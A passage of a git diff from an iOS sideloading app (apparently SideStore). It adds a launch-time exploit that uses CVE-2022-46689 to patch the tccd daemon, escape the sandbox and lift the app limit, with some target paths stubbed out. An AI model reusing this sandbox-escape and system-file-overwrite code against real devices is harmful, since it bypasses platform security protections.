types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data))
|
||||||
types.append(.xml)
|
types.append(.xml)
|
||||||
let documentPickerController = UIDocumentPickerViewController(forOpeningContentTypes: types)
|
let documentPickerController = UIDocumentPickerViewController(forOpeningContentTypes: types)
|
||||||
documentPickerController.shouldShowFileExtensions = true
|
// documentPickerController.shouldShowFileExtensions = true
|
||||||
documentPickerController.delegate = self
|
documentPickerController.delegate = self
|
||||||
self.present(documentPickerController, animated: true, completion: nil)
|
self.present(documentPickerController, animated: true, completion: nil)
|
||||||
})
|
})
|
||||||
@@ -121,7 +121,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
|||||||
let data1 = try Data(contentsOf: urls[0])
|
let data1 = try Data(contentsOf: urls[0])
|
||||||
let pairing_string = String(bytes: data1, encoding: .utf8)
|
let pairing_string = String(bytes: data1, encoding: .utf8)
|
||||||
if pairing_string == nil {
|
if pairing_string == nil {
|
||||||
displayError("Unable to read pairing file")
|
self.displayError("Unable to read pairing file")
|
||||||
}
|
}
|
||||||
|
|
||||||
// Save to a file for next launch
|
// Save to a file for next launch
|
||||||
@@ -131,20 +131,20 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
|||||||
try pairing_string?.write(to: documentsPath, atomically: true, encoding: String.Encoding.utf8)
|
try pairing_string?.write(to: documentsPath, atomically: true, encoding: String.Encoding.utf8)
|
||||||
|
|
||||||
// Start minimuxer now that we have a file
|
// Start minimuxer now that we have a file
|
||||||
start_minimuxer_threads(pairing_string!)
|
self.start_minimuxer_threads(pairing_string!)
|
||||||
|
|
||||||
} catch {
|
} catch {
|
||||||
displayError("Unable to read pairing file")
|
self.displayError("Unable to read pairing file")
|
||||||
}
|
}
|
||||||
|
|
||||||
if (isSecuredURL) {
|
if isSecuredURL {
|
||||||
url.stopAccessingSecurityScopedResource()
|
url.stopAccessingSecurityScopedResource()
|
||||||
}
|
}
|
||||||
controller.dismiss(animated: true, completion: nil)
|
controller.dismiss(animated: true, completion: nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
func documentPickerWasCancelled(_ controller: UIDocumentPickerViewController) {
|
func documentPickerWasCancelled(_ controller: UIDocumentPickerViewController) {
|
||||||
displayError("Choosing a pairing file was cancelled. Please re-open the app and try again.")
|
self.displayError("Choosing a pairing file was cancelled. Please re-open the app and try again.")
|
||||||
}
|
}
|
||||||
|
|
||||||
func start_minimuxer_threads(_ pairing_file: String) {
|
func start_minimuxer_threads(_ pairing_file: String) {
|
||||||
@@ -152,7 +152,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
|||||||
#if false // Retries
|
#if false // Retries
|
||||||
var res = start_minimuxer(pairing_file: pairing_file)
|
var res = start_minimuxer(pairing_file: pairing_file)
|
||||||
var attempts = 10
|
var attempts = 10
|
||||||
while (attempts != 0 && res != 0) {
|
while attempts != 0, res != 0 {
|
||||||
print("start_minimuxer `res` != 0, retry #\(attempts)")
|
print("start_minimuxer `res` != 0, retry #\(attempts)")
|
||||||
res = start_minimuxer(pairing_file: pairing_file)
|
res = start_minimuxer(pairing_file: pairing_file)
|
||||||
attempts -= 1
|
attempts -= 1
|
||||||
@@ -161,46 +161,37 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
|||||||
let res = start_minimuxer(pairing_file: pairing_file)
|
let res = start_minimuxer(pairing_file: pairing_file)
|
||||||
#endif
|
#endif
|
||||||
if res != 0 {
|
if res != 0 {
|
||||||
displayError("minimuxer failed to start. Incorrect arguments were passed.")
|
self.displayError("minimuxer failed to start. Incorrect arguments were passed.")
|
||||||
}
|
}
|
||||||
auto_mount_dev_image()
|
auto_mount_dev_image()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
extension LaunchViewController
|
extension LaunchViewController {
|
||||||
{
|
override func handleLaunchError(_ error: Error) {
|
||||||
override func handleLaunchError(_ error: Error)
|
do {
|
||||||
{
|
|
||||||
do
|
|
||||||
{
|
|
||||||
throw error
|
throw error
|
||||||
}
|
} catch let error as NSError {
|
||||||
catch let error as NSError
|
|
||||||
{
|
|
||||||
let title = error.userInfo[NSLocalizedFailureErrorKey] as? String ?? NSLocalizedString("Unable to Launch SideStore", comment: "")
|
let title = error.userInfo[NSLocalizedFailureErrorKey] as? String ?? NSLocalizedString("Unable to Launch SideStore", comment: "")
|
||||||
|
|
||||||
let errorDescription: String
|
let errorDescription: String
|
||||||
|
|
||||||
if #available(iOS 14.5, *)
|
if #available(iOS 14.5, *) {
|
||||||
{
|
|
||||||
let errorMessages = [error.debugDescription] + error.underlyingErrors.map { ($0 as NSError).debugDescription }
|
let errorMessages = [error.debugDescription] + error.underlyingErrors.map { ($0 as NSError).debugDescription }
|
||||||
errorDescription = errorMessages.joined(separator: "\n\n")
|
errorDescription = errorMessages.joined(separator: "\n\n")
|
||||||
}
|
} else {
|
||||||
else
|
|
||||||
{
|
|
||||||
errorDescription = error.debugDescription
|
errorDescription = error.debugDescription
|
||||||
}
|
}
|
||||||
|
|
||||||
let alertController = UIAlertController(title: title, message: errorDescription, preferredStyle: .alert)
|
let alertController = UIAlertController(title: title, message: errorDescription, preferredStyle: .alert)
|
||||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Retry", comment: ""), style: .default, handler: { (action) in
|
alertController.addAction(UIAlertAction(title: NSLocalizedString("Retry", comment: ""), style: .default, handler: { _ in
|
||||||
self.handleLaunchConditions()
|
self.handleLaunchConditions()
|
||||||
}))
|
}))
|
||||||
self.present(alertController, animated: true, completion: nil)
|
self.present(alertController, animated: true, completion: nil)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
override func finishLaunching()
|
override func finishLaunching() {
|
||||||
{
|
|
||||||
super.finishLaunching()
|
super.finishLaunching()
|
||||||
|
|
||||||
guard !self.didFinishLaunching else { return }
|
guard !self.didFinishLaunching else { return }
|
||||||
@@ -221,6 +212,37 @@ extension LaunchViewController
|
|||||||
self.destinationViewController.view.alpha = 1.0
|
self.destinationViewController.view.alpha = 1.0
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if UserDefaults.standard.enableCowExploit, UserDefaults.standard.isCowExploitSupported {
|
||||||
|
if let previous_exploit_time = UserDefaults.standard.object(forKey: "cowExploitRanBootTime") {
|
||||||
|
let last_rantime = previous_exploit_time as! Date
|
||||||
|
if last_rantime == bootTime() {
|
||||||
|
return print("exploit has ran this boot - \(last_rantime)")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.runExploit()
|
||||||
|
}
|
||||||
|
|
||||||
self.didFinishLaunching = true
|
self.didFinishLaunching = true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func runExploit() {
|
||||||
|
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported {
|
||||||
|
patch3AppLimit { result in
|
||||||
|
switch result {
|
||||||
|
case .success:
|
||||||
|
UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime")
|
||||||
|
print("patched sucessfully")
|
||||||
|
case .failure(let err):
|
||||||
|
switch err {
|
||||||
|
case .NoFDA(let msg):
|
||||||
|
self.displayError("Failed to get full disk access: \(msg)")
|
||||||
|
return
|
||||||
|
case .FailedPatchd:
|
||||||
|
self.displayError("Failed to install patchd.")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
123
AltStore/MDCExploit/CowExploits.swift
Normal file
123
AltStore/MDCExploit/CowExploits.swift
Normal file
@@ -0,0 +1,123 @@
|
|||||||
|
import Foundation
|
||||||
|
|
||||||
|
let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
|
||||||
|
|
||||||
|
enum PatchError: Error {
|
||||||
|
case NoFDA(msg: String)
|
||||||
|
case FailedPatchd
|
||||||
|
}
|
||||||
|
|
||||||
|
enum PatchResult {
|
||||||
|
case success, failure(PatchError)
|
||||||
|
}
|
||||||
|
|
||||||
|
func patch3AppLimit(completion: @escaping (PatchResult) -> ()) {
|
||||||
|
grant_fda { error in
|
||||||
|
if let error = error {
|
||||||
|
completion(.failure(PatchError.NoFDA(msg: "Failed to get full disk access: \(error)")))
|
||||||
|
}
|
||||||
|
// DispatchQueue.global(qos: .userInitiated).async {
|
||||||
|
print("This is run on a background queue")
|
||||||
|
if !installdaemon_patch() {
|
||||||
|
completion(.failure(PatchError.FailedPatchd))
|
||||||
|
}
|
||||||
|
// }
|
||||||
|
completion(.success)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func bootTime() -> Date? {
|
||||||
|
var tv = timeval()
|
||||||
|
var tvSize = MemoryLayout<timeval>.size
|
||||||
|
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0)
|
||||||
|
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
|
||||||
|
}
|
||||||
|
|
||||||
|
enum WhitelistPatchResult {
|
||||||
|
case success, failure
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// func patchWhiteList() {
|
||||||
|
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||||
|
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||||
|
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// func overwriteFileData(originPath: String, replacementData: Data) -> Bool {
|
||||||
|
// #if false
|
||||||
|
// let documentDirectory = FileManager.default.urls(
|
||||||
|
// for: .documentDirectory,
|
||||||
|
// in: .userDomainMask
|
||||||
|
// )[0].path
|
||||||
|
//
|
||||||
|
// let pathToRealTarget = originPath
|
||||||
|
// let originPath = documentDirectory + originPath
|
||||||
|
// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
|
||||||
|
// try! origData.write(to: URL(fileURLWithPath: originPath))
|
||||||
|
// #endif
|
||||||
|
//
|
||||||
|
// // open and map original font
|
||||||
|
// let fd = open(originPath, O_RDONLY | O_CLOEXEC)
|
||||||
|
// if fd == -1 {
|
||||||
|
// print("Could not open target file")
|
||||||
|
// return false
|
||||||
|
// }
|
||||||
|
// defer { close(fd) }
|
||||||
|
// // check size of font
|
||||||
|
// let originalFileSize = lseek(fd, 0, SEEK_END)
|
||||||
|
// guard originalFileSize >= replacementData.count else {
|
||||||
|
// print("Original file: \(originalFileSize)")
|
||||||
|
// print("Replacement file: \(replacementData.count)")
|
||||||
|
// print("File too big!")
|
||||||
|
// return false
|
||||||
|
// }
|
||||||
|
// lseek(fd, 0, SEEK_SET)
|
||||||
|
//
|
||||||
|
// // Map the font we want to overwrite so we can mlock it
|
||||||
|
// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
|
||||||
|
// if fileMap == MAP_FAILED {
|
||||||
|
// print("Failed to map")
|
||||||
|
// return false
|
||||||
|
// }
|
||||||
|
// // mlock so the file gets cached in memory
|
||||||
|
// guard mlock(fileMap, replacementData.count) == 0 else {
|
||||||
|
// print("Failed to mlock")
|
||||||
|
// return true
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// // for every 16k chunk, rewrite
|
||||||
|
// print(Date())
|
||||||
|
// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
|
||||||
|
// print(String(format: "%lx", chunkOff))
|
||||||
|
// let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
|
||||||
|
// var overwroteOne = false
|
||||||
|
// for _ in 0..<2 {
|
||||||
|
// let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
|
||||||
|
// unalign_csr(
|
||||||
|
// fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
|
||||||
|
// )
|
||||||
|
// }
|
||||||
|
// if overwriteSucceeded {
|
||||||
|
// overwroteOne = true
|
||||||
|
// print("Successfully overwrote!")
|
||||||
|
// break
|
||||||
|
// }
|
||||||
|
// print("try again?!")
|
||||||
|
// }
|
||||||
|
// guard overwroteOne else {
|
||||||
|
// print("Failed to overwrite")
|
||||||
|
// return false
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// print(Date())
|
||||||
|
// print("Successfully overwrote!")
|
||||||
|
// return true
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// func readFile(path: String) -> String? {
|
||||||
|
// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
|
||||||
|
// }
|
||||||
6
AltStore/MDCExploit/grant_fda.h
Normal file
6
AltStore/MDCExploit/grant_fda.h
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
#pragma once
|
||||||
|
@import Foundation;
|
||||||
|
|
||||||
|
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
|
||||||
|
void grant_fda(void (^_Nonnull completion)(NSError* _Nullable));
|
||||||
|
bool installdaemon_patch(void);
|
||||||
617
AltStore/MDCExploit/grant_fda.m
Normal file
617
AltStore/MDCExploit/grant_fda.m
Normal file
@@ -0,0 +1,617 @@
|
|||||||
|
@import Darwin;
|
||||||
|
@import Foundation;
|
||||||
|
@import MachO;
|
||||||
|
|
||||||
|
#import <mach-o/fixup-chains.h>
|
||||||
|
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
|
||||||
|
// WDBFontOverwrite
|
||||||
|
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
|
||||||
|
// Please don't call this code on iOS 14 or below
|
||||||
|
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
|
||||||
|
#import "grant_fda.h"
|
||||||
|
#import "helping_tools.h"
|
||||||
|
#import "vm_unalign_csr.h"
|
||||||
|
|
||||||
|
typedef NSObject* xpc_object_t;
|
||||||
|
typedef xpc_object_t xpc_connection_t;
|
||||||
|
typedef void (^xpc_handler_t)(xpc_object_t object);
|
||||||
|
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
|
||||||
|
xpc_object_t _Nullable const* values, size_t count);
|
||||||
|
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
|
||||||
|
uint64_t flags);
|
||||||
|
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
|
||||||
|
void xpc_connection_resume(xpc_connection_t connection);
|
||||||
|
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
|
||||||
|
dispatch_queue_t replyq, xpc_handler_t handler);
|
||||||
|
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
|
||||||
|
xpc_object_t message);
|
||||||
|
xpc_object_t xpc_bool_create(bool value);
|
||||||
|
xpc_object_t xpc_string_create(const char* string);
|
||||||
|
xpc_object_t xpc_null_create(void);
|
||||||
|
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
|
||||||
|
|
||||||
|
int64_t sandbox_extension_consume(const char* token);
|
||||||
|
|
||||||
|
// MARK: - patchfind
|
||||||
|
|
||||||
|
struct fda_offsets {
|
||||||
|
uint64_t of_addr_com_apple_tcc_;
|
||||||
|
uint64_t offset_pad_space_for_rw_string;
|
||||||
|
uint64_t of_addr_s_kTCCSML;
|
||||||
|
uint64_t of_auth_got_sb_init;
|
||||||
|
uint64_t of_return_0;
|
||||||
|
bool is_arm64e;
|
||||||
|
};
|
||||||
|
|
||||||
|
static bool pchfind_sections(void* execmap,
|
||||||
|
struct segment_command_64** data_seg,
|
||||||
|
struct symtab_command** stabout,
|
||||||
|
struct dysymtab_command** dystabout) {
|
||||||
|
struct mach_header_64* executable_header = execmap;
|
||||||
|
struct load_command* load_command = execmap + sizeof(struct mach_header_64);
|
||||||
|
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
|
||||||
|
load_command_index++) {
|
||||||
|
switch (load_command->cmd) {
|
||||||
|
case LC_SEGMENT_64: {
|
||||||
|
struct segment_command_64* segment = (struct segment_command_64*)load_command;
|
||||||
|
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
|
||||||
|
*data_seg = segment;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case LC_SYMTAB: {
|
||||||
|
*stabout = (struct symtab_command*)load_command;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case LC_DYSYMTAB: {
|
||||||
|
*dystabout = (struct dysymtab_command*)load_command;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
load_command = ((void*)load_command) + load_command->cmdsize;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t pchfind_get_padding(struct segment_command_64* segment) {
|
||||||
|
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
|
||||||
|
struct section_64* last_section = §ion_array[segment->nsects - 1];
|
||||||
|
return last_section->offset + last_section->size;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t pchfind_pointer_to_string(void* em, size_t el, const char* n) {
|
||||||
|
void* str_offset = memmem(em, el, n, strlen(n) + 1);
|
||||||
|
if (!str_offset) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
uint64_t str_file_offset = str_offset - em;
|
||||||
|
for (int i = 0; i < el; i += 8) {
|
||||||
|
uint64_t val = *(uint64_t*)(em + i);
|
||||||
|
if ((val & 0xfffffffful) == str_file_offset) {
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t pchfind_return_0(void* exmp, size_t el) {
|
||||||
|
// TCCDSyncAccessAction::sequencer
|
||||||
|
// mov x0, #0
|
||||||
|
// ret
|
||||||
|
static const char ndle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
|
||||||
|
void* offset = memmem(exmp, el, ndle, sizeof(ndle));
|
||||||
|
if (!offset) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return offset - exmp;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t pchfind_got(void* ecm, size_t executable_length,
|
||||||
|
struct segment_command_64* data_const_segment,
|
||||||
|
struct symtab_command* symtab_command,
|
||||||
|
struct dysymtab_command* dysymtab_command,
|
||||||
|
const char* target_symbol_name) {
|
||||||
|
uint64_t target_symbol_index = 0;
|
||||||
|
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
|
||||||
|
struct nlist_64* sym =
|
||||||
|
((struct nlist_64*)(ecm + symtab_command->symoff)) + sym_index;
|
||||||
|
const char* sym_name = ecm + symtab_command->stroff + sym->n_un.n_strx;
|
||||||
|
if (strcmp(sym_name, target_symbol_name)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - execmap));
|
||||||
|
target_symbol_index = sym_index;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct section_64* section_array =
|
||||||
|
((void*)data_const_segment) + sizeof(struct segment_command_64);
|
||||||
|
struct section_64* first_section = §ion_array[0];
|
||||||
|
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
|
||||||
|
strcmp(first_section->sectname, "__got") == 0)) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
uint32_t* indirect_table = ecm + dysymtab_command->indirectsymoff;
|
||||||
|
|
||||||
|
for (int i = 0; i < first_section->size; i += 8) {
|
||||||
|
uint64_t val = *(uint64_t*)(ecm + first_section->offset + i);
|
||||||
|
uint64_t indirect_table_entry = (val & 0xfffful);
|
||||||
|
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
|
||||||
|
return first_section->offset + i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool pchfind(void* execmap, size_t executable_length,
|
||||||
|
struct fda_offsets* offsets) {
|
||||||
|
struct segment_command_64* data_const_segment = nil;
|
||||||
|
struct symtab_command* symtab_command = nil;
|
||||||
|
struct dysymtab_command* dysymtab_command = nil;
|
||||||
|
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
|
||||||
|
&dysymtab_command)) {
|
||||||
|
// printf("no sections\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->of_addr_com_apple_tcc_ =
|
||||||
|
pchfind_pointer_to_string(execmap, executable_length, "com.apple.tcc.")) == 0) {
|
||||||
|
// printf("no com.apple.tcc. string\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_pad_space_for_rw_string =
|
||||||
|
pchfind_get_padding(data_const_segment)) == 0) {
|
||||||
|
// printf("no padding\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->of_addr_s_kTCCSML = pchfind_pointer_to_string(
|
||||||
|
execmap, executable_length, "kTCCServiceMediaLibrary")) == 0) {
|
||||||
|
// printf("no kTCCServiceMediaLibrary string\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->of_auth_got_sb_init =
|
||||||
|
pchfind_got(execmap, executable_length, data_const_segment, symtab_command,
|
||||||
|
dysymtab_command, "_sandbox_init")) == 0) {
|
||||||
|
// printf("no sandbox_init\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->of_return_0 = pchfind_return_0(execmap, executable_length)) ==
|
||||||
|
0) {
|
||||||
|
// printf("no just return 0\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
struct mach_header_64* executable_header = execmap;
|
||||||
|
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: - tccd patching
|
||||||
|
|
||||||
|
static void call_tcc_daemon(void (^completion)(NSString* _Nullable extension_token)) {
|
||||||
|
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
|
||||||
|
// re-use it until next reboot.
|
||||||
|
// Returns the sandbox token if there is one, or nil if there isn't one.
|
||||||
|
//TODO WARNING REPLACE com.apple.tccd
|
||||||
|
xpc_connection_t connection = xpc_connection_create_mach_service(
|
||||||
|
"TXUWU", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
|
||||||
|
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
|
||||||
|
// NSLog(@"event handler (xpc): %@", object);
|
||||||
|
});
|
||||||
|
xpc_connection_resume(connection);
|
||||||
|
const char* keys[] = {
|
||||||
|
// "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
|
||||||
|
// "target_token", "background_session",
|
||||||
|
};
|
||||||
|
xpc_object_t values[] = {
|
||||||
|
xpc_string_create("17087.1"),
|
||||||
|
xpc_string_create("TCCAccessRequest"),
|
||||||
|
xpc_string_create("com.apple.app-sandbox.read-write"),
|
||||||
|
xpc_null_create(),
|
||||||
|
xpc_bool_create(false),
|
||||||
|
xpc_null_create(),
|
||||||
|
xpc_bool_create(false),
|
||||||
|
};
|
||||||
|
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
|
||||||
|
#if 0
|
||||||
|
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
|
||||||
|
// NSLog(@"%@", response_message);
|
||||||
|
|
||||||
|
#endif
|
||||||
|
xpc_connection_send_message_with_reply(
|
||||||
|
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
|
||||||
|
^(xpc_object_t object) {
|
||||||
|
if (!object) {
|
||||||
|
//object is nil???
|
||||||
|
// NSLog(@"wqfewfw9");
|
||||||
|
completion(nil);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
//response:
|
||||||
|
// NSLog(@"qwdqwd%@", object);
|
||||||
|
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
|
||||||
|
// NSLog(@"xpc error?");
|
||||||
|
completion(nil);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
//debug description:
|
||||||
|
// NSLog(@"wqdwqu %@", [object debugDescription]);
|
||||||
|
const char* extension_string = xpc_dictionary_get_string(object, "extension");
|
||||||
|
NSString* extension_nsstring =
|
||||||
|
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
|
||||||
|
completion(extension_nsstring);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
static NSData* patch_tcc_daemon(void* executableMap, size_t executableLength) {
|
||||||
|
struct fda_offsets offsets = {};
|
||||||
|
if (!pchfind(executableMap, executableLength, &offsets)) {
|
||||||
|
return nil;
|
||||||
|
}
|
||||||
|
|
||||||
|
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||||
|
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
|
||||||
|
char* mutableBytes = data.mutableBytes;
|
||||||
|
{
|
||||||
|
// rewrite com.apple.tcc. into blank string
|
||||||
|
*(uint64_t*)(mutableBytes + offsets.of_addr_com_apple_tcc_ + 8) = 0;
|
||||||
|
}
|
||||||
|
{
|
||||||
|
// make of_addr_s_kTCCSML point to "com.apple.app-sandbox.read-write"
|
||||||
|
// we need to stick this somewhere; just put it in the padding between
|
||||||
|
// the end of __objc_arrayobj and the end of __DATA_CONST
|
||||||
|
strcpy((char*)(data.mutableBytes + offsets.offset_pad_space_for_rw_string),
|
||||||
|
"com.apple.app-sandbox.read-write");
|
||||||
|
struct dyld_chained_ptr_arm64e_rebase tRBase =
|
||||||
|
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||||
|
offsets.of_addr_s_kTCCSML);
|
||||||
|
tRBase.target = offsets.offset_pad_space_for_rw_string;
|
||||||
|
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||||
|
offsets.of_addr_s_kTCCSML) =
|
||||||
|
tRBase;
|
||||||
|
*(uint64_t*)(mutableBytes + offsets.of_addr_s_kTCCSML + 8) =
|
||||||
|
strlen("com.apple.app-sandbox.read-write");
|
||||||
|
}
|
||||||
|
if (offsets.is_arm64e) {
|
||||||
|
// make sandbox_init call return 0;
|
||||||
|
struct dyld_chained_ptr_arm64e_auth_rebase tRBase = {
|
||||||
|
.auth = 1,
|
||||||
|
.bind = 0,
|
||||||
|
.next = 1,
|
||||||
|
.key = 0, // IA
|
||||||
|
.addrDiv = 1,
|
||||||
|
.diversity = 0,
|
||||||
|
.target = offsets.of_return_0,
|
||||||
|
};
|
||||||
|
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||||
|
offsets.of_auth_got_sb_init) =
|
||||||
|
tRBase;
|
||||||
|
} else {
|
||||||
|
// make sandbox_init call return 0;
|
||||||
|
struct dyld_chained_ptr_64_rebase tRBase = {
|
||||||
|
.bind = 0,
|
||||||
|
.next = 2,
|
||||||
|
.target = offsets.of_return_0,
|
||||||
|
};
|
||||||
|
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.of_auth_got_sb_init) =
|
||||||
|
tRBase;
|
||||||
|
}
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool over_write_file(int fd, NSData* sourceData) {
|
||||||
|
for (int off = 0; off < sourceData.length; off += 0x4000) {
|
||||||
|
bool success = false;
|
||||||
|
for (int i = 0; i < 2; i++) {
|
||||||
|
if (unalign_csr(
|
||||||
|
fd, off, sourceData.bytes + off,
|
||||||
|
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
|
||||||
|
success = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!success) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void grant_fda_impl(void (^completion)(NSString* extension_token,
|
||||||
|
NSError* _Nullable error)) {
|
||||||
|
// char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
|
||||||
|
char* targetPath = "/Nope";
|
||||||
|
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||||
|
if (fd == -1) {
|
||||||
|
// iOS 15.3 and below
|
||||||
|
// targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
|
||||||
|
targetPath = "/Nope";
|
||||||
|
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||||
|
}
|
||||||
|
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||||
|
lseek(fd, 0, SEEK_SET);
|
||||||
|
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||||
|
|
||||||
|
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||||
|
NSData* sourceData = patch_tcc_daemon(targetMap, targetLength);
|
||||||
|
